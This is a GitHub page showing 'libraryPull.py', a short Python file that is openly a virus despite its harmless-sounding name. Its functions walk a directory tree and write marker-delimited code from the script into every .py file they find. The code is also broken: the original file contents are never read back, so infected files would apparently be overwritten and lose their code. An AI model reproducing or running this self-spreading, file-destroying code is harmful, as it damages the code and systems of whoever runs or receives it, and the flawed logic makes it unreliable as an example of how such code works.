-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathlibraryPull.py
51 lines (44 loc) · 1.15 KB
/
libraryPull.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import os
def code(void):
print("infected")
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
if (os.path.splitext(path)[1] == ".py"):
virus(path)
else:
pass
else:
walk(path)
def virus(python):
begin = "# START #\n"
end = "# STOP #\n"
with open(sys.argv[0], "r") as copy:
k = 0
virus_code = "\n"
for line in copy:
if line == begin:
k = 1
virus_code += begin
elif k == 1 and line != end:
virus_code += line
elif line == end:
virus_code += end
break
else:
pass
with open(python, "r") as file:
original_code = ""
for line in file:
if line == begin:
vir = True
break
else:
vir = False
if not vir:
with open(python, "w") as paste:
paste.write(virus_code + "\n\n" + original_code)
else:
pass